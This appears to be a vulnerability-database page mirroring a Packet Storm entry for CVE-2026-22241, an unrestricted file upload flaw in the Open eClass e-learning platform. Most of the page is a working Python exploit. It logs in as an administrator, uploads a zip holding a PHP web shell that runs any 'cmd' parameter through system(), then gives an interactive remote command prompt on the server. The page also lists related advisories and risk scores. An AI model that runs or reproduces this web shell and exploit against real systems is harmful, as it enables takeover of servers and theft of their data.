Lucene search
K

๐Ÿ“„ GUnet OpenEclass E-learning Remote Code Execution

๐Ÿ—“๏ธย 05 May 2026ย 00:00:00Reported byย Ashif IqubalTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 49ย Views

GUnet OpenEclass E-learning platform below 4.2 has remote code execution vulnerability.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2026-22241
8 Jan 202616:03
โ€“circl
CNNVD
Open eClass ๅฎ‰ๅ…จๆผๆดž
8 Jan 202600:00
โ€“cnnvd
CVE
CVE-2026-22241
8 Jan 202615:07
โ€“cve
Cvelist
CVE-2026-22241 Open eClass has Unrestricted File Upload that Leads to Remote Code Execution (RCE)
8 Jan 202615:07
โ€“cvelist
Exploit DB
GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE)
29 Apr 202600:00
โ€“exploitdb
EUVD
EUVD-2026-1672
8 Jan 202615:07
โ€“euvd
NVD
CVE-2026-22241
8 Jan 202615:15
โ€“nvd
OSV
CVE-2026-22241 Open eClass has Unrestricted File Upload that Leads to Remote Code Execution (RCE)
8 Jan 202615:07
โ€“osv
Positive Technologies
PT-2026-2178
8 Jan 202600:00
โ€“ptsecurity
RedhatCVE
CVE-2026-22241
10 Jan 202605:40
โ€“redhatcve
Rows per page
# Exploit Title: GUnet OpenEclass E-learning platform < 4.2 - Remote Code Execution (RCE) 
    # Date: 2026-01-08
    # Exploit Author: Ashif Iqubal
    # Vendor Homepage: https://www.openeclass.org/
    # Software Link: https://download.openeclass.org/files/4.1/
    # Version: < 4.2
    # Tested on: Debian Ubuntu (Apache/2.4.58, PHP 8.3.6, MySQL 8.0.40-0ubuntu0.24.04.1)
    # CVE: CVE-2026-22241
    
    import os
    import sys
    import zipfile
    import requests
    import argparse
    from bs4 import BeautifulSoup
    from argparse import RawTextHelpFormatter
    
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RESET = '\033[0m'
    ORANGE = '\033[38;5;208m'
    
    MALICIOUS_PAYLOAD = """\
    <?php
    
    if(isset($_REQUEST['cmd'])){
            $cmd = ($_REQUEST['cmd']);
            system($cmd);
            die;
    }
    
    ?>
    """
    
    def banner():
        print(f'''{YELLOW}
        โ”โ”โ•ธโ•ป โ•ปโ”โ”โ•ธ   โ”โ”โ”“โ”โ”โ”“โ”โ”โ”“โ”โ”โ”“   โ”โ”โ”“โ”โ”โ”“โ”โ”โ”“โ•ป โ•ปโ•บโ”“ 
        โ”ƒ  โ”ƒโ”โ”›โ”ฃโ•ธ โ•บโ”โ•ธโ”โ”โ”›โ”ƒโ”ƒโ”ƒโ”โ”โ”›โ”ฃโ”โ”“โ•บโ”โ•ธโ”โ”โ”›โ”โ”โ”›โ”โ”โ”›โ”—โ”โ”ซ โ”ƒ 
        โ”—โ”โ•ธโ”—โ”› โ”—โ”โ•ธ   โ”—โ”โ•ธโ”—โ”โ”›โ”—โ”โ•ธโ”—โ”โ”›   โ”—โ”โ•ธโ”—โ”โ•ธโ”—โ”โ•ธ  โ•นโ•บโ”ปโ•ธ
        {RED}                        Author: @Ashif1337 {RESET}''')
    
    def clean_server(openeclass,filename):
        print(f"{ORANGE}[+] Removing Backd00r...{RESET}")
        # Remove the uploaded files
        requests.get(f"{openeclass}/courses/theme_data/{filename}?cmd=rm%20{filename}")
        print(f"{GREEN}[+] Server cleaned successfully!{RESET}")
    
    
    def execute_command(openeclass, filename):
        while True:
            # Prompt for user input with "eclass"
            cmd = input(f"{RED}[{YELLOW}eClass{RED}]~> {RESET}")
    
            # Check if the command is 'quit', then break the loop
            if cmd.lower() == "quit":
                clean_server(openeclass,filename)
                print(f"{ORANGE}[+] Exiting...{RESET}")
                sys.exit()
    
            # Construct the URL with the user-provided command
            url = f"{openeclass}/courses/theme_data/{filename}?cmd={cmd}"
    
            # Execute the GET request
            try:
                response = requests.get(url)
    
                # Check if the request was successful
                if response.status_code == 200:
                    # Print the response text
                    print(f"{GREEN}{response.text}{RESET}")
    
            except requests.exceptions.RequestException as e:
                # Print any error that occurs during the request
                print(f"{RED}An error occurred: {e}{RESET}")
    
    
    def upload_web_shell(openeclass, username, password):
        login_url = f'{openeclass}/?login_page=1'
        login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'
    
        # Login credentials
        payload = {
            'next': '/main/portfolio.php',
            'uname': f'{username}',
            'pass': f'{password}',
            'submit': 'Enter'
        }
    
        headers = {
            'Referer': login_page_url,
        }
    
        # Use a session to ensure cookies are handled correctly
        with requests.Session() as session:
            # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
            session.get(login_page_url)
    
            # Post the login credentials
            response = session.post(login_url, headers=headers, data=payload)
            
    
            # Create a zip file containing the malicious payload
            zip_file_path = 'poc.zip'
            with zipfile.ZipFile(zip_file_path, 'w') as zipf:
                zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode())
    
            # Get token
            token_url = session.get(f'{openeclass}/modules/admin/theme_options.php',allow_redirects=False)
    
            if token_url.status_code != 200 : 
                print(f"{RED}[X] Invalid Administrator Password!{RESET}")
                print(f"{RED}[X] Exiting...{RESET}")
                return False
            
            upload_token = BeautifulSoup(token_url.text, 'html.parser').select_one('input[name="token"]')['value']
            
            # Upload the zip file
            url = f'{openeclass}/modules/admin/theme_options.php'
            files = {
                'themeFile': ('poc.zip', open(zip_file_path, 'rb'), 'application/zip'),
                'import': (None, ''),
                'token': (None, upload_token)
            }
            response = session.post(url, files=files)
    
            # Clean up the poc zip file
            os.remove(zip_file_path)
    
            # Check if the upload was successful
            if response.status_code == 200:
                print(f"{GREEN}[+] Payload uploaded successfully!{RESET}")
                print(f"{GREEN}[+] Type 'quit' to exit web shell!{RESET}")
                return True
            else:
                print(f"{RED}[X] Failed to upload payload.{RESET}")
                print(f"{RED}[X] Exiting...{RESET}")
                return False
    
    
    
    
    def main():
        parser = argparse.ArgumentParser(description="Open eClass Unrestricted File Upload RCE Exploit [ CVE-2026-22241 ]\nExample: CVE-2026-22241.py -t http://127.0.0.1/openeclass -u admin -p adminpassword",formatter_class=RawTextHelpFormatter)
        parser.add_argument('-t', '--eclassUrl', required=True, help="Target URL of the Open eClass.")
        parser.add_argument('-u', '--username', required=True, help="Admin Username for login.")
        parser.add_argument('-p', '--password', required=True, help="Admin Password for login.")
        args = parser.parse_args()
    
        banner()
        # Running the main login and execute command function
        if upload_web_shell(args.eclassUrl, args.username, args.password):
            execute_command(args.eclassUrl, 'evil.php')
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 May 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.17.2
CVSS 48.6
EPSS0.03076
SSVC
49